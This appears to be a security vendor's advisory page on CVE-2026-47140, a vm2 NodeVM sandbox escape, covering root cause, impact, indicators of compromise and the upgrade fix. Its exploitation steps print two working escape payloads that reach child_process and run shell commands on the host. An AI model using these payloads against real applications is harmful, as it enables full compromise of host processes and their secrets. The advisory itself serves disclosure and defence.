CVE-2026-47140
JavaScript 취약성 분석 및 완화

개요

CVE-2026-47140 is a sandbox escape vulnerability in the vm2 npm package (NodeVM) that allows sandboxed code to bypass the builtin module denylist and execute arbitrary code in the host process. The flaw affects vm2 versions <= 3.11.3 and was published on May 18, 2026, with the GitHub Advisory Database entry updated May 29, 2026. It carries a CVSS v3.1 base score of 10.0 (Critical) (GitHub Advisory, vm2 Advisory).

기술적 세부 사항

The root cause is a Protection Mechanism Failure (CWE-693) in lib/builtin.js, where the DANGEROUS_BUILTINS denylist used exact-match string comparison and omitted two critical entries: process and inspector/promises. Because non-denied builtins are passed directly to the sandbox via vm.readonly(hostRequire(key)), sandboxed code can call require('process').getBuiltinModule('child_process') (available in Node.js 22+) to reload any core module regardless of the embedder's allow/deny configuration, or call require('inspector/promises').Session().post('Runtime.evaluate', ...) to evaluate arbitrary JavaScript in the host realm. The subpath form inspector/promises did not match the existing inspector denylist entry because matching was exact rather than family-prefix. This vulnerability is reachable in any NodeVM configuration that allows process, inspector/promises, or the wildcard '*' in require.builtin; it is not reachable with the default configuration where require is disabled (GitHub Advisory, vm2 Commit).

영향

Successful exploitation allows an attacker who can submit untrusted JavaScript to a NodeVM sandbox to fully escape the sandbox and execute arbitrary code in the host Node.js process with the privileges of that process. This enables reading and writing arbitrary files, spawning child processes, accessing host environment variables and secrets, and potentially pivoting to other systems reachable from the host. The scope change (S:C) in the CVSS score reflects that the impact extends beyond the sandbox component to the entire host application and its underlying infrastructure (GitHub Advisory, vm2 Advisory).

착취 단계

  1. Identify target: Locate an application that uses vm2's NodeVM to execute untrusted or user-supplied JavaScript with a require.builtin configuration that includes '*', 'process', or 'inspector/promises' — for example, builtin: ['*', '-child_process', '-inspector'].
  2. Craft bypass payload (Method 1 — process.getBuiltinModule): Submit the following sandboxed JavaScript to reload child_process via the process builtin, bypassing the explicit exclusion:
const cp = require('process').getBuiltinModule('child_process');
module.exports = cp.execFileSync('/bin/sh', ['-c', 'id']).toString();
  1. Craft bypass payload (Method 2 — inspector/promises): Alternatively, use the inspector/promises subpath to evaluate arbitrary JavaScript in the host realm:
const { Session } = require('inspector/promises');
const s = new Session();
s.connect();
s.post('Runtime.evaluate', { expression: 'require("child_process").execSync("id").toString()' });
  1. Achieve host code execution: Either method spawns processes or evaluates code in the host Node.js process, granting full access to the host environment including file system, environment variables, and network (GitHub Advisory, vm2 Commit).

타협의 징후

  • Process: Unexpected child processes (e.g., /bin/sh, bash, cmd.exe) spawned as children of the Node.js process running vm2; calls to execFileSync, execSync, or spawnSync originating from within a vm2 sandbox context.
  • Logs: Application logs showing require('process') or require('inspector/promises') calls within sandboxed code; Node.js inspector protocol Runtime.evaluate events originating from within a vm2 execution context.
  • Network: Unexpected outbound connections from the Node.js host process to external IPs, potentially indicating reverse shell or data exfiltration activity following sandbox escape.
  • File System: New or modified files written by the Node.js process in unexpected directories; presence of web shells or scripts dropped by the Node.js service account (GitHub Advisory, vm2 Commit).

완화 및 해결 방법

Upgrade vm2 to version 3.11.4, which adds process to the DANGEROUS_BUILTINS set, promotes denylist matching to family-prefix via isDangerousBuiltin(key) (blocking inspector/promises and all future subpath variants), strips the node: URL prefix before matching, and enforces the check at both the BUILTIN_MODULES wildcard expansion path and the addDefaultBuiltin explicit-allowlist path. No configuration-based workaround fully mitigates the issue in affected versions; as an interim measure, avoid using builtin: ['*'] or explicitly allowing process or inspector/promises in NodeVM configurations that execute untrusted code. Embedders who need safe stubs for blocked modules can register them via SPECIAL_MODULES, mocks, or overrides (vm2 Release, vm2 Commit).

커뮤니티 반응

Coverage of this vulnerability appeared in security news outlets including Heise (in English) and SecurityOnline, which highlighted it as part of a broader set of critical sandbox escape vulnerabilities in vm2. BeyondMachines also reported on the critical sandbox escapes enabling remote code execution. The vulnerability was reported by researchers credited as spbavarva and VladimirEliTokarev (GitHub Advisory).

추가 자료


근원이 보고서는 AI를 사용하여 생성되었습니다.

관련 JavaScript 취약점:

CVE ID

심각도

점수

기술

구성 요소 이름

CISA KEV 익스플로잇

수정 사항이 있습니다.

게시된 날짜

CVE-2026-54157CRITICAL9
  • JavaScriptJavaScript
  • @lobehub/lobehub
아니요Jun 16, 2026
CVE-2026-42089HIGH8.6
  • JavaScriptJavaScript
  • yeoman-environment
아니요Jun 16, 2026
CVE-2026-47684HIGH7.7
  • JavaScriptJavaScript
  • @sync-in/server
아니요Jun 16, 2026
CVE-2026-54298MEDIUM4.2
  • JavaScriptJavaScript
  • astro
아니요Jun 16, 2026
CVE-2026-54326LOW2.5
  • JavaScriptJavaScript
  • @earendil-works/pi-coding-agent
아니요Jun 16, 2026

무료 취약성 평가

클라우드 보안 태세를 벤치마킹합니다

9개의 보안 도메인에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 식별합니다.

평가 요청

추가 Wiz 리소스

맞춤형 데모 받기

맞춤형 데모 신청하기

"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
데이비드 에슬릭최고정보책임자(CISO)
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
아담 플레처최고 보안 책임자(CSO)
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."
그렉 포니아토프스키위협 및 취약성 관리 책임자